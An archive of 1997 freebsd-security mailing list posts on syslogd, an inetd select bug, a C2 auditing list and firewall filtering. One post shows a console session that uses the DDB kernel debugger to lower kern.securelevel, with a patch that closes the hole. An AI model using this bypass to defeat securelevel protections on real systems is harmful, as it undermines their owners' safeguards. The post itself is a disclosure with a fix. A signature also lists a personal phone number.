nope... freebsd's syslog in -current has the ability to turn on reception > of such messages from specific hosts... and when you specify "secure" > mode (which doesn't accept messages) you can still send messages to > remote hosts for logging... > > commited 5/3/97 by Joerg... If it's not already ... shouldn't that go as well into RELENG_2_2 ? -- Andreas Klemm | klemm.gtn.com - powered by Symmetric MultiProcessor FreeBSD http://www.freebsd.org/~fsmp/SMP/SMP.html http://www.freebsd.org/~fsmp/SMP/benches.html From owner-freebsd-security Fri Aug 29 00:25:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA16994 for security-outgoing; Fri, 29 Aug 1997 00:25:18 -0700 (PDT) Received: from axl.iafrica.com (root@axl.iafrica.com [196.31.1.167]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA16984 for ; Fri, 29 Aug 1997 00:25:12 -0700 (PDT) Received: from axl.iafrica.com (sheldonh@localhost [127.0.0.1]) by axl.iafrica.com (8.8.7/8.8.7) with ESMTP id JAA10455; Fri, 29 Aug 1997 09:22:15 +0200 (SAT) X-Mailer: exmh version 2.0zeta 7/24/97 From: Sheldon Hearn To: Andreas Klemm cc: John-Mark Gurney , Simon Shapiro , freebsd-security@freebsd.org Subject: Re: FW: syslogd fun (fwd) In-reply-to: Your message of "Fri, 29 Aug 1997 07:44:43 +0200." <19970829074443.00429@klemm.gtn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 29 Aug 1997 09:22:14 +0200 Message-ID: <10451.872839334@axl.iafrica.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, Aug 28, 1997 at 02:48:15PM -0700, John-Mark Gurney wrote: > nope... freebsd's syslog in -current has the ability to turn on reception > of such messages from specific hosts... On this did Andreas Klemm thusly comment: > If it's not already ... shouldn't that go as well into RELENG_2_2 ? Already done. :) Face it, we're always a step ahead of the rest. *sneaksneak* Sheldon. From owner-freebsd-security Fri Aug 29 04:49:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA28743 for security-outgoing; Fri, 29 Aug 1997 04:49:19 -0700 (PDT) Received: from apocalypse.saturn.net (user2356@apocalypse.saturn.net [208.192.215.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA28734 for ; Fri, 29 Aug 1997 04:49:10 -0700 (PDT) Received: from localhost (brian@localhost) by apocalypse.saturn.net (8.8.5/8.8.5) with SMTP id HAA02505; Fri, 29 Aug 1997 07:47:46 -0400 (EDT) Date: Fri, 29 Aug 1997 07:47:43 -0400 (EDT) From: Brian Mitchell To: freebsd-security@freebsd.org cc: abc@firehouse.net Subject: bsdc2audit announce Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 4.4BSD C2 Style Auditing ListServ This is a mailing list to discuss adding C2 style auditing to the 4.4BSD Operating System. Current development platform is Freebsd, but that may change to OpenBSD (or BSD/OS perhaps) in the near future. The goal is a highly configurable auditing subsystem controlled via sysctl() and suitable for realtime intrusion detection products such as COAST's IDIOT (Intrusion Detection in our Time) system. To subscribe, send "subscribe bsdc2audit" in the body of a message to majordomo@janus.saturn.net. Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) From owner-freebsd-security Fri Aug 29 10:02:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA14634 for security-outgoing; Fri, 29 Aug 1997 10:02:50 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA14627 for ; Fri, 29 Aug 1997 10:02:45 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0x4URP-0007Tw-00; Fri, 29 Aug 1997 11:02:35 -0600 To: David Holland Subject: Re: sleeps in inetd... Cc: freebsd-security@freebsd.org In-reply-to: Your message of "Thu, 28 Aug 1997 07:19:15 EDT." <199708281119.HAA12959@burgundy.eecs.harvard.edu> References: <199708281119.HAA12959@burgundy.eecs.harvard.edu> Date: Fri, 29 Aug 1997 11:02:35 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199708281119.HAA12959@burgundy.eecs.harvard.edu> David Holland writes: : It appears that guy was right about one thing. This bug affects Linux, : OpenBSD, and NetBSD as well as FreeBSD, all in -current. Question, what is causing select to be interrupted? SIGCHLD? Warner From owner-freebsd-security Fri Aug 29 10:26:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA15939 for security-outgoing; Fri, 29 Aug 1997 10:26:42 -0700 (PDT) Received: from burgundy.eecs.harvard.edu (burgundy.eecs.harvard.edu [140.247.60.165]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA15927 for ; Fri, 29 Aug 1997 10:26:35 -0700 (PDT) Received: (from dholland@localhost) by burgundy.eecs.harvard.edu (8.8.5/8.8.5) id NAA04801; Fri, 29 Aug 1997 13:25:48 -0400 (EDT) From: David Holland Message-Id: <199708291725.NAA04801@burgundy.eecs.harvard.edu> Subject: Re: sleeps in inetd... To: imp@rover.village.org (Warner Losh) Date: Fri, 29 Aug 1997 13:25:48 -0400 (EDT) Cc: dholland@eecs.harvard.edu, freebsd-security@FreeBSD.ORG In-Reply-To: from "Warner Losh" at Aug 29, 97 11:02:35 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In message <199708281119.HAA12959@burgundy.eecs.harvard.edu> David Holland writes: > : It appears that guy was right about one thing. This bug affects Linux, > : OpenBSD, and NetBSD as well as FreeBSD, all in -current. > > Question, what is causing select to be interrupted? SIGCHLD? Yeah, plus the occasional SIGALRM and possibly other things. -- - David A. Holland | VINO project home page: dholland@eecs.harvard.edu | http://www.eecs.harvard.edu/vino From owner-freebsd-security Fri Aug 29 11:18:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA19173 for security-outgoing; Fri, 29 Aug 1997 11:18:09 -0700 (PDT) Received: from hokkshideh.jetcafe.org (hokkshideh.jetcafe.org [207.155.21.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA19153 for ; Fri, 29 Aug 1997 11:17:56 -0700 (PDT) Received: from hokkshideh.jetcafe.org (localhost [127.0.0.1]) by hokkshideh.jetcafe.org (8.8.5/8.8.5) with ESMTP id LAA03314 for ; Fri, 29 Aug 1997 11:17:55 -0700 (PDT) Message-Id: <199708291817.LAA03314@hokkshideh.jetcafe.org> X-Mailer: exmh version 2.0delta 6/3/97 To: freebsd-security@FreeBSD.ORG Subject: Re: FW: syslogd fun (fwd) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 29 Aug 1997 11:17:55 -0700 From: Dave Hayes Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > filter syslog at your firewall. falls under teh general rule: > "unless you need it, filter it out" jmb This is still -not- a guarantee of safety. ------ Dave Hayes - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Love thy neighbor as thyself, but choose your neighborhood. From owner-freebsd-security Fri Aug 29 12:24:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA22845 for security-outgoing; Fri, 29 Aug 1997 12:24:01 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [192.109.159.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA22812 for ; Fri, 29 Aug 1997 12:23:29 -0700 (PDT) Received: (from uucp@localhost) by news1.gtn.com (8.8.6/8.8.6) with UUCP id VAA12813; Fri, 29 Aug 1997 21:15:18 +0200 (MET DST) Received: (from andreas@localhost) by klemm.gtn.com (8.8.7/8.8.7) id SAA27933; Fri, 29 Aug 1997 18:34:11 +0200 (CEST) Message-ID: <19970829183411.06465@klemm.gtn.com> Date: Fri, 29 Aug 1997 18:34:11 +0200 From: Andreas Klemm To: Sheldon Hearn Cc: John-Mark Gurney , Simon Shapiro , freebsd-security@FreeBSD.ORG Subject: Re: FW: syslogd fun (fwd) References: <19970829074443.00429@klemm.gtn.com> <10451.872839334@axl.iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: <10451.872839334@axl.iafrica.com>; from Sheldon Hearn on Fri, Aug 29, 1997 at 09:22:14AM +0200 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Aug 29, 1997 at 09:22:14AM +0200, Sheldon Hearn wrote: > > On Thu, Aug 28, 1997 at 02:48:15PM -0700, John-Mark Gurney wrote: > > nope... freebsd's syslog in -current has the ability to turn on reception > > of such messages from specific hosts... > > On this did Andreas Klemm thusly comment: > > If it's not already ... shouldn't that go as well into RELENG_2_2 ? > > Already done. :) > > Face it, we're always a step ahead of the rest. *sneaksneak* You guys are so blindly fast as FreeBSD is ;-)) -- Andreas Klemm | klemm.gtn.com - powered by Symmetric MultiProcessor FreeBSD http://www.freebsd.org/~fsmp/SMP/SMP.html http://www.freebsd.org/~fsmp/SMP/benches.html From owner-freebsd-security Fri Aug 29 12:34:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23451 for security-outgoing; Fri, 29 Aug 1997 12:34:01 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23443; Fri, 29 Aug 1997 12:33:51 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199708291933.MAA23443@hub.freebsd.org> Subject: Re: FW: syslogd fun (fwd) To: dave@jetcafe.org (Dave Hayes) Date: Fri, 29 Aug 1997 12:33:51 -0700 (PDT) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <199708291817.LAA03314@hokkshideh.jetcafe.org> from "Dave Hayes" at Aug 29, 97 11:17:55 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Dave Hayes wrote: > > > filter syslog at your firewall. falls under teh general rule: > > "unless you need it, filter it out" jmb > > This is still -not- a guarantee of safety. ;)))) if you have people inside your security perimeter that are a threat to your servers....you have a management problem, -not- a technical problem. jmb From owner-freebsd-security Fri Aug 29 13:06:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA25326 for security-outgoing; Fri, 29 Aug 1997 13:06:35 -0700 (PDT) Received: from gvr.gvr.org (root@gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA25310; Fri, 29 Aug 1997 13:06:25 -0700 (PDT) Received: (from guido@localhost) by gvr.gvr.org (8.8.6/8.8.5) id WAA14670; Fri, 29 Aug 1997 22:06:21 +0200 (MET DST) From: Guido van Rooij Message-Id: <199708292006.WAA14670@gvr.gvr.org> Subject: Re: FW: syslogd fun (fwd) In-Reply-To: <199708291933.MAA23443@hub.freebsd.org> from "Jonathan M. Bresler" at "Aug 29, 97 12:33:51 pm" To: jmb@FreeBSD.ORG (Jonathan M. Bresler) Date: Fri, 29 Aug 1997 22:06:21 +0200 (MET DST) Cc: dave@jetcafe.org, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jonathan M. Bresler wrote: > Dave Hayes wrote: > > > > > filter syslog at your firewall. falls under teh general rule: > > > "unless you need it, filter it out" jmb > > > > This is still -not- a guarantee of safety. > > ;)))) > > if you have people inside your security perimeter that are > a threat to your servers....you have a management problem, > -not- a technical problem. Fortunately, you can get around the management problem with technical solutions ;-) -Guido From owner-freebsd-security Sat Aug 30 06:08:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA17000 for security-outgoing; Sat, 30 Aug 1997 06:08:07 -0700 (PDT) Received: from apocalypse.saturn.net (user1245@apocalypse.saturn.net [208.192.215.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA16985 for ; Sat, 30 Aug 1997 06:07:58 -0700 (PDT) Received: from localhost (brian@localhost) by apocalypse.saturn.net (8.8.5/8.8.5) with SMTP id JAA00268 for ; Sat, 30 Aug 1997 09:06:21 -0400 (EDT) Date: Sat, 30 Aug 1997 09:06:19 -0400 (EDT) From: Brian Mitchell To: freebsd-security@freebsd.org Subject: DDB/securelevel Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk DDB is the kernel debugger. It lets you debug the kernel upon a panic or when you wish to enter it via a key sequence on the console. There appears to be a slight problem though, you can use DDB to lower the securelevel of the system. The following shows one example: # sysctl -w kern.securelevel=10 kern.securelevel: 0 -> 10 # Debugger("manual escape to debugger") Stopped at _Debugger+0x35: movb $0,_in_Debugger.118 db> write securelevel 0 _securelevel 0xa = 0 db> cont # sysctl kern.securelevel kern.securelevel: 0 # The most straightforward solution to this is to simply not allow DDB to be run when securelevel > 0. Enclosed is a simple patch against 2.2.1 to do this. *** i386/i386/db_interface.c Sat Aug 30 08:57:36 1997 --- i386/i386/db_interface.c.new Sat Aug 30 09:00:43 1997 *************** *** 241,246 **** --- 241,256 ---- /* * XXX + * Do nothing if the securelevel is > 0. The justification + * being that DDB can be used to lower the securelevel, so + * if we run > 0, we should not be able to run DDB at all. + * Modifying DDB to be securelevel friendly is not an option. + */ + if(securelevel > 0) + return; + + /* + * XXX * Do nothing if the console is in graphics mode. This is * OK if the call is for the debugger hotkey but not if the call * is a weak form of panicing. Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) From owner-freebsd-security Sat Aug 30 20:04:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA14664 for security-outgoing; Sat, 30 Aug 1997 20:04:03 -0700 (PDT) Received: from chrysanthemum.localdomain (root@dial126.cygnus.uwa.edu.au [203.24.97.126]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA14648 for ; Sat, 30 Aug 1997 20:03:57 -0700 (PDT) Received: from chrysanthemum (mayd@chrysanthemum.localdomain [192.168.2.100]) by chrysanthemum.localdomain (8.8.5/8.8.5) with ESMTP id SAA00744 for ; Sat, 30 Aug 1997 18:17:46 +0800 (WST) Message-Id: <199708301017.SAA00744@chrysanthemum.localdomain> X-Mailer: exmh version 1.6.9 8/22/96 To: freebsd-security@freebsd.org Subject: subscribe From: "David May, at a FreeBSD 2.2.2 site, somewhere in the Outback" Reply-to: mayd@cygnus.uwa.edu.au Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 30 Aug 1997 18:17:45 +0800 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -- David May mailto: mayd@cygnus.uwa.edu.au PGP Public Key: finger mayd@cygnus.uwa.edu.au phone: +61 41 216 8967